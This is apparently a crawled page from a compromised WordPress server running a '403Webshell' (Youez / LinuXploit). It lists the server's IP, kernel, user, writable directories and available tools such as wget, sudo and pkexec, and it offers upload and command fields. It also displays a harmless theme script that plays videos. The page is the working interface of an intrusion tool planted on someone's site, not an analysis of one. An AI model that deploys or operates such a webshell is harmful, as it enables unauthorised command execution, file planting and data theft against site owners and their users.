403Webshell
Server IP : 65.108.144.40  /  Your IP : 216.73.217.165
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux ubuntu-8gb-hel1-1 5.15.0-173-generic #183-Ubuntu SMP Fri Mar 6 13:29:34 UTC 2026 x86_64
User : dev ( 1000)
PHP Version : 8.2.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/successkpi/wp-content/themes/successkpi/blocks/alternate-media-content/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/successkpi/wp-content/themes/successkpi/blocks/alternate-media-content/script.js
   document.addEventListener("DOMContentLoaded", function() {

        document.querySelectorAll(".sk-play-video").forEach(btn => {

            const video = document.getElementById(btn.dataset.video);
            if (!video) return;

            // Click on button
            btn.addEventListener("click", function() {
                video.play();
                video.controls = true;
                video.removeAttribute("poster");
                btn.style.display = "none";
            });

            // When video is paused → show button again
            video.addEventListener("pause", function() {
                btn.style.display = "block";
            });

            // When video ends → show button again
            video.addEventListener("ended", function() {
                btn.style.display = "block";
            });

        });

    });

Youez - 2016 - github.com/yon3zu
LinuXploit